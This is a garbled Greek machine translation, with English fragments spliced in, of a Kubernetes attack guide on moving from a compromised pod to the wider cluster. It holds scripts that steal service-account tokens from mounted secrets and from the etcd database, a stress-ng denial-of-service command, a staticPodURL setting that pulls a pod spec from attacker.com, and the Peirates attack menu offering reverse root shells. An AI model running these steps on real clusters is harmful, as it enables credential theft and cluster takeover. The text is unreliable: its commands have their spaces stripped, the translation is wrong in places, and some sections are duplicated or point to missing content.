Συνήθως τα pods τρέχουν με ένα token λογαριασμού υπηρεσίας μέσα σε αυτά. Αυτός ο λογαριασμός υπηρεσίας μπορεί να έχει κάποια προνόμια συνδεδεμένα με αυτόν που θα μπορούσατε να καταχραστείτε για να μετακινηθείτε σε άλλα pods ή ακόμα και να δραπετεύσετε προς τους κόμβους που έχουν ρυθμιστεί μέσα στο cluster. Δείτε πώς στο:
Αν το pod τρέχει μέσα σε ένα περιβάλλον cloud μπορείτε να διαρρεύσετε ένα τοκέν από το τέλειο μεταδεδομένων και να εξελίξετε προνόμια χρησιμοποιώντας το.
Αναζήτηση ευάλωτων υπηρεσιών δικτύου
Καθώς βρίσκεστε μέσα στο περιβάλλον Kubernetes, αν δεν μπορείτε να εξελίξετε προνόμια καταχρηστικά τα τρέχοντα προνόμια των pods και δεν μπορείτε να δραπετεύσετε από το container, θα πρέπει να αναζητήσετε πιθανά ευάλωτες υπηρεσίες.
Υπηρεσίες
Για αυτόν τον σκοπό, μπορείτε να προσπαθήσετε να λάβετε όλες τις υπηρεσίες του περιβάλλοντος kubernetes:
kubectl get svc --all-namespaces
Προεπιλεγμένα, το Kubernetes χρησιμοποιεί ένα επίπεδο δικτύωσης επίπεδο, το οποίο σημαίνει ότι οποιοδήποτε pod/service εντός του cluster μπορεί να επικοινωνεί με άλλα. Τα namespaces εντός του cluster δεν έχουν καμία προεπιλεγμένη περιοριστική ασφάλεια δικτύου. Οποιοσδήποτε στο namespace μπορεί να επικοινωνεί με άλλα namespaces.
Σάρωση
Το παρακάτω σενάριο Bash (που προέρχεται από ένα εργαστήριο Kubernetes) θα εγκαταστήσει και θα σαρώσει τις διευθύνσεις IP του cluster Kubernetes:
Ρίξτε μια ματιά στην ακόλουθη σελίδα για να μάθετε πώς μπορείτε να επιτεθείτε σε συγκεκριμένες υπηρεσίες του Kubernetes για να διακινδυνεύσετε άλλα pods/ολόκληρο το περιβάλλον:
Στην περίπτωση που το υποβαθμισμένο pod εκτελεί κάποια ευαίσθητη υπηρεσία όπου άλλα pods χρειάζεται να πιστοποιηθούν, ενδέχεται να μπορείτε να αποκτήσετε τα διαπιστευτήρια που στέλνονται από τα άλλα pods καταγράφοντας τις τοπικές επικοινωνίες.
Διακίνδυνευση Δικτύου
Από προεπιλογή, τεχνικές όπως η διακίνδυνευση ARP (και χάρη σε αυτήν τη διακίνδυνευση DNS) λειτουργούν στο δίκτυο του Kubernetes. Στη συνέχεια, μέσα σε ένα pod, αν έχετε τη δυνατότητα NET_RAW (η οποία υπάρχει από προεπιλογή), θα μπορείτε να στείλετε προσαρμοσμένα διαμορφωμένα πακέτα δικτύου και να πραγματοποιήσετε επιθέσεις MitM μέσω διακίνδυνευσης ARP σε όλα τα pods που εκτελούνται στον ίδιο κόμβο.
Επιπλέον, αν το κακόβουλο pod εκτελείται στον ίδιο κόμβο με τον Διακομιστή DNS, θα μπορείτε να πραγματοποιήσετε μια επίθεση DNS Spoofing σε όλα τα pods στο cluster.
Δεν υπάρχει καθορισμός πόρων στα αρχεία μεταδεδομένων του Kubernetes και δεν εφαρμόζονται ορία περιοχών για τους containers. Ως επιτιθέμενοι, μπορούμε να καταναλώσουμε όλους τους πόρους όπου εκτελείται το pod/deployment και να αφαιρέσουμε πόρους από άλλα και να προκαλέσουμε ένα DoS στο περιβάλλον.
Αυτό μπορεί να γίνει με ένα εργαλείο όπως το stress-ng:
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
Μπορείτε να δείτε τη διαφορά ενώ τρέχει το stress-ng και μετά
Αν δεν μπορείτε να βρείτε το αρχείο kubeconfig σε έναν από τους προηγούμενα σχολιασμένους διαδρόμους, ελέγξτε το όρισμα --kubeconfig της διαδικασίας kubelet:
# Check Kubelet privilegeskubectl--kubeconfig/var/lib/kubelet/kubeconfigauthcan-icreatepod-nkube-system# Steal the tokens from the pods running in the node# The most interesting one is probably the one of kube-systemALREADY="IinItialVaaluE"for i in $(mount|sed-n'/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); doTOKEN=$(cat $(echo $i |sed's/.namespace$/\/token/'))if! [ $(echo $TOKEN |grep-E $ALREADY) ]; thenALREADY="$ALREADY|$TOKEN"echo"Directory: $i"echo"Namespace: $(cat $i)"echo""echo $TOKENecho"================================================================================"echo""fidone
Το σενάριο can-they.sh θα ανακτήσει αυτόματα τα τοκεν των άλλων pods και θα ελέγξει αν έχουν την άδεια που ψάχνετε (αντί να το ελέγχετε ένα-ένα):
Ένα DaemonSet είναι ένα pod που θα τρέχει σε όλους τους κόμβους του cluster. Επομένως, αν ένα DaemonSet ρυθμιστεί με ένα προνομιούχο λογαριασμό υπηρεσίας, σε ΟΛΟΥΣ τους κόμβους θα μπορείτε να βρείτε το διακριτικό εκείνου του προνομιούχου λογαριασμού που θα μπορούσατε να καταχραστείτε.
Η εκμετάλλευση είναι η ίδια με αυτήν της προηγούμενης ενότητας, αλλά τώρα δεν εξαρτάστε από την τύχη.
Εναλλαγή στο Cloud
Αν το cluster διαχειρίζεται από έναν υπηρεσία cloud, συνήθως ο Κόμβος θα έχει διαφορετική πρόσβαση στο τέλειο μεταδεδομένων σε σχέση με το Pod. Επομένως, προσπαθήστε να έχετε πρόσβαση στο τέλειο μεταδεδομένων από τον κόμβο (ή από ένα pod με hostNetwork σε True):
Αν μπορείτε να καθορίσετε το όνομαΚόμβου του Κόμβου που θα εκτελέσει το container, αποκτήστε ένα κέλυφος μέσα σε έναν κόμβο ελέγχου και αποκτήστε τη βάση δεδομένων etcd:
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
control-plane κόμβοι έχουν τον ρόλο master και σε σύνολα διαχειριζόμενα στο cloud δεν θα μπορείτε να εκτελέσετε τίποτα σε αυτούς.
Διαβάστε μυστικά από το etcd
Αν μπορείτε να εκτελέσετε το pod σας σε έναν κόμβο ελέγχου χρησιμοποιώντας τον επιλογέα nodeName στο αντικείμενο προδιαγραφών του pod, μπορείτε να έχετε εύκολη πρόσβαση στη βάση δεδομένων etcd, η οποία περιέχει όλη τη διαμόρφωση του σύνολου, συμπεριλαμβανομένων όλων των μυστικών.
Παρακάτω υπάρχει ένας γρήγορος και βρώμικος τρόπος να ανακτήσετε μυστικά από το etcd αν τρέχει στον κόμβο ελέγχου στον οποίο βρίσκεστε. Αν θέλετε μια πιο κομψή λύση που ξεκινά ένα pod με το εργαλείο πελάτη etcdetcdctl και χρησιμοποιεί τα διαπιστευτήρια του κόμβου ελέγχου για να συνδεθεί στο etcd οπουδήποτε τρέχει, ελέγξτε το αυτό το παράδειγμα μεταφοράς από τον @mauilion.
Ελέγξτε αν το etcd τρέχει στον κόμβο ελέγχου και δείτε πού βρίσκεται η βάση δεδομένων (Αυτό είναι σε ένα σύνολο που δημιουργήθηκε με το kubeadm)
## Attacking Kubernetes from Inside a PodIn a Kubernetes cluster, if an attacker gains access to a pod, they can perform various attacks to escalate privileges and move laterally within the cluster. Some common techniques include:
1. **Pod Escape**: Exploiting misconfigurations to break out of the pod and access the host machine.2. **Service Account Token Theft**: Stealing service account tokens to impersonate the account and access cluster resources.
3. **Pod Network Sniffing**: Monitoring pod network traffic to intercept sensitive information.4. **Pod to Node Lateral Movement**: Moving from one compromised pod to another within the same node.5. **Pod to Pod Lateral Movement**: Moving laterally between pods on different nodes to expand control within the cluster.
To prevent these attacks, ensure proper RBAC policies, network segmentation, and pod security configurations are in place.
<h2>Επίθεση στο Kubernetes από μέσα σε ένα Pod</h2>Σε ένα cluster του Kubernetes, αν ένας εισβολέας κερδίσει πρόσβαση σε ένα pod, μπορεί να εκτελέσει διάφορες επιθέσεις για να εξελίξει δικαιώματα και να μετακινηθεί πλαγίως εντός του cluster. Κάποιες συνήθεις τεχνικές περιλαμβάνουν:
1. **Απόδραση από το Pod**: Εκμεταλλευόμενος λανθασμένες ρυθμίσεις για να βγει από το pod και να έχει πρόσβαση στον κεντρικό υπολογιστή.
2. **Κλοπή Διακριτικού Λογαριασμού Υπηρεσίας**: Κλέβοντας διακριτικά λογαριασμού υπηρεσίας για να προσωποποιήσει τον λογαριασμό και να έχει πρόσβαση σε πόρους του cluster.
3. **Κατάσκοπος Δικτύου του Pod**: Παρακολουθώντας την κίνηση δικτύου του pod για να παρεμβαίνει σε ευαίσθητες πληροφορίες.
4. **Πλαγία Κίνηση από το Pod στον Κόμβο**: Μετακινούμενος από ένα υποβαθμισμένο pod σε ένα άλλο εντός του ίδιου κόμβου.
5. **Πλαγία Κίνηση από το Pod στο Pod**: Μετακινούμενος πλαγίως μεταξύ pods σε διαφορετικούς κόμβους για να επεκτείνει τον έλεγχο εντός του cluster.
Για να αποτρέψετε αυτές τις επιθέσεις, βεβαιωθείτε ότι υπάρχουν κατάλληλες πολιτικές RBAC, διαχωρισμός δικτύου και ρυθμίσεις ασφαλείας του pod.
data-dir=/var/lib/etcd
Προβολή των δεδομένων στη βάση δεδομένων etcd:
strings/var/lib/etcd/member/snap/db|less
Εξαγάγετε τα τοκενς από τη βάση δεδομένων και εμφανίστε το όνομα του λογαριασμού υπηρεσίας
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
Ίδια εντολή, αλλά με μερικά greps για να επιστρέψει μόνο το προεπιλεγμένο τοκεν στο namespace kube-system
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a PodWhen an attacker gains access to a Kubernetes pod, they are already inside the cluster and can perform various attacks to escalate their privileges and move laterally within the cluster.
### Privilege Escalation#### Exploiting Service AccountsService accounts in Kubernetes are used by pods to interact with the API server. If an attacker gains access to a pod with highly privileged service account credentials, they can abuse these credentials to escalate their privileges within the cluster.
### Moving Laterally#### Accessing the Kubernetes API ServerOnce inside a pod, an attacker can attempt to access the Kubernetes API server using tools like `kubectl` or by sending direct API requests. This can allow the attacker to gather information about the cluster, deploy malicious workloads, or even take control of the entire cluster.
#### Exploiting MisconfigurationsAttackers can also look for misconfigurations within the cluster that may allow them to move laterally. This could include weak RBAC policies, exposed dashboards, or insecure network policies that enable communication with other pods.
By understanding these attack techniques, security professionals can better defend their Kubernetes clusters and prevent unauthorized access from within a compromised pod.
Τα Στατικά Pods διαχειρίζονται απευθείας από τον δαίμονα kubelet σε ένα συγκεκριμένο κόμβο, χωρίς τον διακομιστή API να τα παρατηρεί. Αντίθετα από τα Pods που διαχειρίζονται από το επίπεδο ελέγχου (για παράδειγμα, ένα Deployment); αντ' αυτού, το kubelet παρακολουθεί κάθε στατικό Pod (και το επανεκκινεί αν αποτύχει).
Συνεπώς, τα στατικά Pods είναι πάντα δεμένα με ένα Kubelet σε ένα συγκεκριμένο κόμβο.
Το kubelet προσπαθεί αυτόματα να δημιουργήσει έναν καθρέφτη Pod στον διακομιστή API του Kubernetes για κάθε στατικό Pod. Αυτό σημαίνει ότι τα Pods που εκτελούνται σε έναν κόμβο είναι ορατά στον διακομιστή API, αλλά δεν μπορούν να ελεγχθούν από εκεί. Τα ονόματα των Pods θα έχουν ως κατάληξη το όνομα του κόμβου με προηγούμενο παύλα.
Το spec ενός στατικού Pod δεν μπορεί να αναφέρεται σε άλλα αντικείμενα του API (π.χ., ServiceAccount, ConfigMap, Secret, κλπ.). Έτσι δεν μπορείτε να εκμεταλλευτείτε αυτήν τη συμπεριφορά για να ξεκινήσετε ένα pod με ένα αυθαίρετο serviceAccount στον τρέχοντα κόμβο για να διακινδυνεύσετε το cluster. Ωστόσο, μπορείτε να χρησιμοποιήσετε αυτό για να εκτελέσετε pods σε διαφορετικά namespaces (σε περίπτωση που αυτό είναι χρήσιμο για κάποιο λόγο).
Αν βρίσκεστε μέσα στον κόμβο του οικοδεσπότη, μπορείτε να τον κάνετε να δημιουργήσει ένα στατικό pod μέσα στον εαυτό του. Αυτό είναι πολύ χρήσιμο επειδή μπορεί να σας επιτρέψει να δημιουργήσετε ένα pod σε ένα διαφορετικό namespace όπως το kube-system.
Ρύθμιση της παραμέτρου --pod-manifest-path=/etc/kubernetes/manifests στην υπηρεσία kubelet, ή στην διαμόρφωση kubelet (staticPodPath) και επανεκκίνηση της υπηρεσίας
Δημιουργία του ορισμού στο ορισμό pod στο /etc/kubernetes/manifests
Ένας πιο κρυφός τρόπος θα ήταν:
Τροποποιήστε την παράμετρο staticPodURL από το αρχείο διαμόρφωσης του kubelet και ορίστε κάτι σαν staticPodURL: http://attacker.com:8765/pod.yaml. Αυτό θα κάνει τη διαδικασία kubelet να δημιουργήσει ένα στατικό pod παίρνοντας τη διαμόρφωση από τον καθορισμένο URL.
Παράδειγμα της διαμόρφωσης pod για τη δημιουργία ενός προνομιούχου pod στο kube-system που προέρχεται από εδώ:
Εάν ένας εισβολέας έχει διαρρεύσει έναν κόμβο και μπορεί να διαγράψει pods από άλλους κόμβους και να κάνει άλλους κόμβους ανίκανους να εκτελέσουν pods, τα pods θα επανεκκινηθούν στον διαρρεύσαντα κόμβο και θα μπορέσει να κλέψει τα tokens που εκτελούνται σε αυτά.
Για περισσότερες πληροφορίες ακολουθήστε αυτούς τους συνδέσμους.
Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu] (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1] *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[] Run a shell command [shell <command and arguments>]
[exit] Exit Peirates